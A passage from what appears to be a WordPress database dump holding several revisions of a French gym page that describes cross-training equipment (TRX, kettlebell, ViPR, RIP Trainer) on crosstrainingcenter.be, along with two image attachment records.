fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:48:24', '2013-06-16 10:48:24', '', 22, 'http://www.crosstrainingcenter.be/?p=60', 0, 'revision', '', 0),
(61, 1, '2013-06-16 10:49:30', '2013-06-16 10:49:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:30', '2013-06-16 10:49:30', '', 22, 'http://www.crosstrainingcenter.be/?p=61', 0, 'revision', '', 0),
(62, 1, '2013-06-16 10:49:53', '2013-06-16 10:49:53', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:1px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:1px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:53', '2013-06-16 10:49:53', '', 22, 'http://www.crosstrainingcenter.be/?p=62', 0, 'revision', '', 0),
(64, 1, '2013-06-16 10:55:17', '2013-06-16 10:55:17', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:55:17', '2013-06-16 10:55:17', '', 22, 'http://www.crosstrainingcenter.be/?p=64', 0, 'revision', '', 0),
(65, 1, '2013-06-16 10:57:04', '2013-06-16 10:57:04', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:57:04', '2013-06-16 10:57:04', '', 22, 'http://www.crosstrainingcenter.be/?p=65', 0, 'revision', '', 0),
(66, 1, '2013-06-16 10:59:52', '2013-06-16 10:59:52', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:59:52', '2013-06-16 10:59:52', '', 22, 'http://www.crosstrainingcenter.be/?p=66', 0, 'revision', '', 0),
(67, 1, '2013-06-16 11:03:08', '2013-06-16 11:03:08', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;Kettlebel&lt;/h1&gt;Outil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;ViPR&lt;/h1&gt;Acronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;RIP Trainer&lt;/h1&gt;Le Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:08', '2013-06-16 11:03:08', '', 22, 'http://www.crosstrainingcenter.be/?p=67', 0, 'revision', '', 0),
(68, 1, '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 'trx1', '', 'inherit', 'open', 'open', '', 'trx1', '', '', '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg', 0, 'attachment', 'image/jpeg', 0),
(69, 1, '2013-06-16 11:03:19', '2013-06-16 11:03:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:19', '2013-06-16 11:03:19', '', 22, 'http://www.crosstrainingcenter.be/?p=69', 0, 'revision', '', 0),
(70, 1, '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 'kb', '', 'inherit', 'open', 'open', '', 'kb', '', '', '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg', 0, 'attachment', 'image/jpeg', 0),
(71, 1, '2013-06-16 11:10:48', '2013-06-16 11:10:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du 